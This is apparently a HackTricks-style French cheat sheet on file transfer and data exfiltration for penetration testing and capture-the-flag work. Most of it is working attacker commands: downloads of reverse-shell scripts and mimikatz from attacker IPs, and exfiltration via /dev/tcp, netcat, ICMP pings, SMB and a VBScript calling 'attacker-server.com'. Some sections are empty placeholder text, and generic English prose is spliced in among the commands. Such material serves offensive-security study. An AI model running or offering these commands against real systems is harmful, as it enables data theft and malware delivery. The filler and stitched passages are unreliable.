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Exfiltration

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Domaines couramment autorisés pour exfiltrer des informations

Consultez https://lots-project.com/ pour trouver des domaines couramment autorisés qui peuvent être abusés

Copier&Coller Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Télécharger des fichiers

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Serveur HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

Serveur FTP (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Serveur FTP (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Serveur FTP (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Client Windows

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

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SMB

Kali en tant que serveur

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Ou créez un partage smb en utilisant samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Exfiltration

Techniques

Exfiltration Over Command and Control Channel

  • Description: Exfiltrating data over the command and control channel used by the malware.
  • Detection: Monitor network traffic for unusual patterns or connections to known malicious IP addresses.
  • Prevention: Implement network segmentation to restrict communication channels for malware.

Exfiltration Over Alternative Protocol

  • Description: Using alternative protocols such as DNS or ICMP to exfiltrate data.
  • Detection: Analyze network traffic for suspicious use of non-standard protocols.
  • Prevention: Implement deep packet inspection to detect and block exfiltration attempts.

Exfiltration Over Encrypted Channels

  • Description: Encrypting exfiltrated data to evade detection.
  • Detection: Monitor for high volumes of encrypted traffic leaving the network.
  • Prevention: Implement SSL/TLS inspection to decrypt and inspect encrypted traffic.

Tools

  • Tool Name: Description of the tool and how it can be used for exfiltration.
  • Tool Name: Description of the tool and how it can be used for exfiltration.

Resources

  • Resource Name: Description of the resource and how it can help in understanding exfiltration techniques.
  • Resource Name: Description of the resource and how it can help in understanding exfiltration techniques.
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

L'attaquant doit avoir SSHd en cours d'exécution.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Si la victime a SSH, l'attaquant peut monter un répertoire de la victime vers l'attaquant.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

Exfiltration

Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data, including:

  • Exfiltration Over Command and Control Channel: Attackers can use the existing command and control channel to exfiltrate data from the target system.

  • Exfiltration Over Alternative Protocol: Attackers can use alternative protocols such as DNS, ICMP, or HTTPS to exfiltrate data in a covert manner.

  • Exfiltration Over Unencrypted Protocols: Attackers can exfiltrate data over unencrypted protocols such as HTTP or FTP.

  • Exfiltration Over Encrypted Protocols: Attackers can exfiltrate data over encrypted protocols such as HTTPS or SSH to avoid detection.

  • Exfiltration Using Steganography: Attackers can hide data within images, audio files, or other digital media to exfiltrate information without detection.

  • Exfiltration Using Covert Channels: Attackers can use covert channels to exfiltrate data, such as encoding data within DNS queries or using timing channels.

  • Exfiltration Using Data Compression: Attackers can compress data before exfiltrating it to minimize the amount of data transferred and avoid detection.

  • Exfiltration Using Data Fragmentation: Attackers can fragment data into smaller pieces and exfiltrate them individually to avoid detection.

  • Exfiltration Using Encryption: Attackers can encrypt exfiltrated data to prevent unauthorized access and maintain data confidentiality.

  • Exfiltration Using Out-of-Band Communication: Attackers can exfiltrate data using out-of-band communication channels, such as using a separate network connection or covert channel.

Understanding the various exfiltration methods is crucial for detecting and preventing data exfiltration attempts during security assessments.

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Télécharger un fichier depuis la victime

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Télécharger un fichier sur la victime

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

Merci à @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un SMTP pour recevoir les données avec python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Par défaut dans XP et 2003 (dans d'autres, il doit être ajouté explicitement lors de l'installation)

Dans Kali, démarrer le serveur TFTP:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Serveur TFTP en python :

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

Dans victime, connectez-vous au serveur Kali :

tftp -i <KALI-IP> get nc.exe

PHP

Téléchargez un fichier avec un oneliner PHP :

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Exfiltration

VBScript can be used to exfiltrate data from a compromised system. This can be achieved by sending data to an external server controlled by the attacker. The following code snippet demonstrates a simple exfiltration technique using VBScript:

Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP")
url = "http://attacker-server.com/data=" & data
objXMLHTTP.open "GET", url, False
objXMLHTTP.send

In this code snippet, the data variable contains the information to be exfiltrated. The script creates an XMLHTTP object, appends the data to the URL, sends a GET request to the attacker's server, and transmits the data.

It is important to note that exfiltrating data using VBScript can be detected by security tools, so additional obfuscation techniques may be necessary to avoid detection.

Attacker> python -m SimpleHTTPServer 80

Victime

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Le programme debug.exe permet non seulement l'inspection des binaires, mais a également la capacité de les reconstruire à partir de l'hexadécimal. Cela signifie qu'en fournissant un hexadécimal d'un binaire, debug.exe peut générer le fichier binaire. Cependant, il est important de noter que debug.exe a une limite d'assemblage de fichiers jusqu'à 64 ko en taille.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Ensuite, copiez-collez le texte dans le shell Windows et un fichier appelé nc.exe sera créé.

DNS

Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement aujourd'hui.

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Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

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